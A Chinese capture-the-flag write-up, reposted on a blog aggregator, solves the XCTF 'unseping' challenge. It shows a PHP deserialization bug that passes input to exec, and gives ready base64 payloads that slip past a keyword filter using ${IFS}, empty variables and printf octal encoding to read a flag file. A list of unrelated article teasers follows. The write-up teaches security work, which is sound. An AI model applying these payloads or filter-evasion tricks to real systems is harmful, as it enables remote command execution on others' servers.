XCTF1-web unseping

news2025/1/21 18:46:22

unseping

题目描述

在这里插入图片描述

进入场景

源代码分析,反序列化场景

 <?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

1. 分析代码

POST传入参数ctf,且使用base64解码后反序列化传入。unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
ease类中,定义了两个私有变量和五个方法:
construct()为构造函数,定义类的初始化。
destruct()为析构函数,对象销毁前使用。
ping():exec()执行命令函数,var_dump()输出结果。
waf():preg_match_all()函数用于执行一个全局正则表达式匹配,可以搜索字符串中所有可以和正则表达式匹配的结果。源码中对“|、&、;、空格、/、cat、flag、tac、php、ls”进行匹配,若匹配到的结果为false就返回str。
wakeup()函数:使用foreach遍历字符串检测waf。执行unserialize()时,先会调用这个函数。

2. 编写PHP对应的序列化代码

(1)编写序列化测试代码

<?php
class ease{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}    
    $a = new ease("ping",array('pwd'));
    $b = serialize($a);
    echo $b;
    echo "<br>";
    echo "<br>";
    echo base64_encode($b);
?>

(2)对参数进行序列化和编码
在这里插入图片描述(3)传入ctf
在这里插入图片描述测试pwd成功请求,然后绕过正则获取flag路径。

3. 绕过正则

(1)ls绕过的方法有:空的环境变量 、单引号 、双引号
使用空的环境变量绕过
在这里插入图片描述

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:6:"l${X}s";}}

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo2OiJsJHtYfXMiO319

在这里插入图片描述提示flag在“flag_1s_here”文件夹里面
(2)空格使用${IFS}来代替
在这里插入图片描述

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:28:"l${X}s${IFS}fl${X}ag_1s_here";}}

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyODoibCR7WH1zJHtJRlN9Zmwke1h9YWdfMXNfaGVyZSI7fX0=

在这里插入图片描述发现存在一个flag的文件flag_831b69012c67b35f.php

4. 进行转码
cat flag_1s_here/flag_831b69012c67b35f.php
cd flag_1s_here;cat flag_831b69012c67b35f.php
cd flag_1s_here&&cat flag_831b69012c67b35f.php

由于没找到绕过 ; 、& 和 \ 的方法,再搜索看看

(1)有提到“\154\163”可以代替ls

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:25:"$(printf${IFS}"\154\163")";}}

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNToiJChwcmludGYke0lGU30iXDE1NFwxNjMiKSI7fX0=

是ls的ascii码转换成八进制
在这里插入图片描述(2)按照这个思路,将“cat flag_1s_here/flag_831b69012c67b35f.php”进行转码
写了一个Python脚本对参数进行转码

x = "cat flag_1s_here/flag_831b69012c67b35f.php"
# print(str)
r = ""
for i in x:
    r = r +'\\'+format(ord(i),'o')
    
print(r)

(3)传入转码后的参数

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:169:"$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")";}}

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319

在这里插入图片描述获取到flag

参考链接:https://blog.csdn.net/shelter1234567/article/details/127337541

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/40635.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

FPGA 20个例程篇:18.SD卡存放音频WAV播放(上)

第七章 实战项目提升&#xff0c;完善简历 18.SD卡存放音频WAV播放&#xff08;上&#xff09; 在最后一章里&#xff0c;我们来做几个实战项目&#xff0c;一方面是对前面学习知识的一种回顾&#xff0c;另一方面这几个小项目也非常贴近实际工程&#xff0c;其中例程“SD卡存…

CENTOS安装 graylog4.39

我们直接开始 基础环境和java sudo yum install epel-release 并安装带有 sudo yum install pwgenyum install java-1.8.0-openjdk-headless.x86_64 MONGODB 安装数据库 vi /etc/yum.repos.d/mongodb-org.repo[mongodb-org-4.2] nameMongoDB Repository baseurlhttps://rep…

【STL】map容器

map 作为关联式容器的一种&#xff0c;map容器存储的都是pair对象&#xff0c;也就是用pair类模板创建的键值对。其中&#xff0c;各个键值对的键和值可以是任意数据类型&#xff0c;包括C基本数据类型、使用结构体或类自定义的类型。 默认情况下&#xff0c;map容器选用std:…

vmware虚拟机centos7扩容

vmware先进行磁盘扩展 从原来的20G扩展到100G: 扩展磁盘时可能会遇到需要修复磁盘的情况: // 进入vmware安装目录cd D:\开发工具\VMWare\ // 修复, 其中.vmdk文件为虚拟机磁盘文件vmware-vdiskmanager -R "F:\VM_Centos\CentOS 7 64 位.vmdk" 扩展成功&#xff1…

mysql死锁介绍以及解决

什么是死锁 死锁是2个线程在执行过程中&#xff0c; 因争夺资源而造成的相互等待的现象&#xff0c;若无外力作用&#xff0c;它们将无法推进下去。 死锁产生的4个必要条件 互斥条件 指进程对所分配的资源进行排他性使用&#xff0c;即一段时间内某资源只有一个进程占用&#…

TC277的Ovc功能

TC277的Ovc功能 文章目录前言Data Access Overlay (OVC)<br>特点和功能概述数据访问重定向目标内存地址Online Data Acquisition (OLDA) SpaceOverlay MemoriesLocal MemoryEmulation MemoryDSPR & PSPR MemoryGlobal Overlay ControlGlobal Overlay Control Synchro…

控制算法-模型预测MPC

本文记录一下MPC控制算法的学习过程和自己的理解&#xff0c;初步接触控制算法&#xff0c;理解肯定不是很完善&#xff0c;重在记录思考的过程。 背景 随着自动驾驶技术以及机器人控制技术的不断发展及逐渐火热&#xff0c;模型预测控制(MPC)算法作为一种先进的控制算法&…

LeetCode 202. 快乐数

题目链接&#xff1a;https://leetcode.cn/problems/happy-number/ 思路如下&#xff1a; 由题目可知&#xff0c;nnn 的取值在 [1,231−1][1, 2^{31}-1][1,231−1] 的范围内&#xff0c;在 [1,2147483647][1, 2147483647][1,2147483647] 这个区间里面&#xff0c;平方和最大…

【博客544】golang pprof性能调试:寻找memory瓶颈

golang pprof性能调试&#xff1a;寻找memory瓶颈 1、前置 pprof的使用与输出列解析看姐妹篇&#xff1a;golang pprof性能调试&#xff1a;寻找cpu瓶颈 2、引入pprof到程序中&#xff0c;以调试memory瓶颈 给程序加入&#xff1a; import _ "net/http/pprof"go…

Java 8 集合 Stream

Java 8 是一个成功的版本&#xff0c;新增的内容很实用。比如大家熟悉的 lamda 表达式&#xff0c;集合的 Stream&#xff0c;等等。 本文讲讲 Stream 的使用。 Stream 是什么&#xff1f; Stream 将要处理的集合看做流&#xff0c;然后方便的对流做操作&#xff0c;比如筛选…

node日志log4js库使用示例

在node开发或者electron项目开发中&#xff0c;我们可能需要记录日志的功能&#xff0c;便于我们出错排查问题。今天介绍node中的日志库log4js。 log日志记录&#xff0c;一般需要配置日志记录的级别&#xff0c;日志输出类型&#xff0c;日志格式等信息。log4js可以在初始化的…

ssh免密登陆

文章目录一、免密登陆1、生成密钥对2、将公钥拷贝到所创建的虚拟机上3、测试免密登陆成功没有二、遇到免密登陆失败的解决办法解决办法1、修改机器名&#xff0c;去掉.novalocal后缀2、重新做免密登录一、免密登陆 ssh密钥登录比密码登录安全&#xff0c;主要是因为他使用了非…

Spring - BeanPostProcessors 扩展接口

文章目录PreBean的生成过程org.springframework.beans.factory.config.BeanPostProcessor 介绍ApplicationContext注册Bean PostProcessor源码解析AbstractApplicationContext#refreshAbstractApplicationContext#registerBeanPostProcessorsPostProcessorRegistrationDelegate…

InnoDB底层存储结构探秘

一 innoDB 为什么不用平衡二叉树 计算机存储层次结构 计算机存储设备一般分为两种&#xff1a;内存储器(main memory)和外存储器(external memory)。 内存储器为内存&#xff0c;内存存取速度快&#xff0c;但容量小&#xff0c;价格昂贵&#xff0c;而且不能长期保存数据(在…

动物大全和动物识别系统毕业设计,动物大全和动物AI识别系统设计与实现,动物识别系统论文毕设作品参考

功能清单 【后台管理员功能】 系统设置&#xff1a;设置网站简介、关于我们、联系我们、加入我们、法律声明 广告管理&#xff1a;设置小程序首页轮播图广告和链接 留言列表&#xff1a;所有用户留言信息列表&#xff0c;支持删除 会员列表&#xff1a;查看所有注册会员信息&a…

第七届NVIDIA Sky Hackathon项目报告书

系列文章目录 数据集收集和标注情况 1.1ASR语音数据集收集和标注情况 1.2CV图像数据集收集和标注情况进行模型的训练 2.1进行ASR模型的训练 2.2进行CV模型的训练在Jetson平台进行部署和推理 3.1部署和推理ASR模型 3.2部署和推理CV模型优化UI界面 文章目录系列文章目录1. 数据集…

详解BFS,Dijkstra算法,Floyd算法是如何解决最短路径问题的

目录 1.BFS算法 2.Dijkstra算法 3.Floyd算法 4.总结 1.BFS算法 G纲是个物流离散中心&#xff0c;经常需要往各个城市运东西&#xff0c;怎么运送距离最近——单源最短路径问题 各个城市之间也学要来往&#xff0c;相互之间怎么走距离最近&#xff1f;——每对顶点之间的最…

GNS3学习笔记

文章目录GNS3学习笔记一、GNS3支持的设备列表有哪些1、在安装根目录下 XXX\GNS3\appliances2、The NAT node 怎么使用二、GNS3使用错误汇总1、iosVL2 image(qemu平台)启动后进不去系统&#xff0c;一直重复进入开机界面三、参考链接1、GNS3应该使用那个模拟平台2、怎么集成VM到…

〖全域运营实战白宝书 - 运营角色认知篇⑧〗- 运营人的发展路径

大家好&#xff0c;我是 哈士奇 &#xff0c;一位工作了十年的"技术混子"&#xff0c; 致力于为开发者赋能的UP主, 目前正在运营着 TFS_CLUB社区。 &#x1f4ac; 人生格言&#xff1a;优于别人,并不高贵,真正的高贵应该是优于过去的自己。&#x1f4ac; &#x1f4e…

Flink源码解析(一、source原理)

文章目录背景逻辑原理connector架构sql处理阶段代码实例代码debug参考文献背景 source/sink 是flink最核心的部分之一&#xff0c;通过对其实现原理的学习&#xff0c;结合源码debug&#xff0c;有助于加深对框架处理过程的理解&#xff0c;以及架构设计上的提升。 逻辑原理 …